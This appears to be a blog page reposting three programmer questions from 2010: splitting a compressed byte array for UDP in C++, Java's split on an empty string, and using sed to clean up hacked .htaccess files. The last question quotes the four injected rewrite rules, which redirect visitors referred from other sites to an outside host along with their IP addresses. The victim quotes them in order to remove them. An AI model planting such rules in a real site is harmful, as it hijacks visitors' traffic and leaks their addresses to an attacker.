Tuesday, December 28, 2010

How to split and join array in C++?

Programmer Question

I have a byte array like this:



lzo_bytep out; // my byte array
size_t uncompressedImageSize = 921600;

out = (lzo_bytep) malloc((uncompressedImageSize + uncompressedImageSize / 16 + 64 + 3));
wrkmem = (lzo_voidp) malloc(LZO1X_1_MEM_COMPRESS);

// Now the byte array has 802270 bytes
r = lzo1x_1_compress(imageData, uncompressedImageSize, out, &out_len, wrkmem);


How can I split it into smaller parts under 65,535 bytes (the byte array is one large packet which I want to sent over UDP which has upper limit 65,535 bytes) and then join those small chunks back into a continuous array?



Find the answer here

Splitting a string using the empty string as the delimiter yields leading empty string but no trailing empty string

Programmer Question

Suppose you have this expression in Java:



"adam".split("")


This is telling Java to split "adam" using the empty string ("") as the delimiter. This yields:



["", "a", "d", "a", "m"]


Why does Java include an empty string at the start, but not at the end? Using this logic, shouldn't the result have been:



["", "a", "d", "a", "m", ""]


Find the answer here

Monday, December 27, 2010

Removing a text block from a file : sed ?

Programmer Question

Hi,
Following an attack, I need to remove 4 lines of text added to .htaccess files in my site, and was thinking SED would be the way to go, but cannot see how in spire of many attempts.



The added lines are



RewriteEngine On
RewriteCond %{HTTP_REFERER} ^http://
RewriteCond %{HTTP_REFERER} !%{HTTP_HOST}
RewriteRule . http://targeturlhere.net/%{REMOTE_ADDR}


I managed to create the script to remove added htaccess files containing those lines only, but for existing htaccess files in which that was appended I have to edit the file and cannot delete it. I cannot just remove line by line nor use "RewriteEngine On" as the start marker, as this instruction "RewriteEngine On" is sometimes legitimate elsewhere in the file.



In most cases those lines are the last, but I guess in other files they could be in the middle, so I was trying to remove exactly that block - and have a script I could reuse in a similar case.



(Edit: my 4 lines are below one another, no blank line in between but the editor here seems to either show no breakline, or one adding a blank line)



Any hint or tip ? Thanks.



Find the answer here

LinkWithin

Related Posts with Thumbnails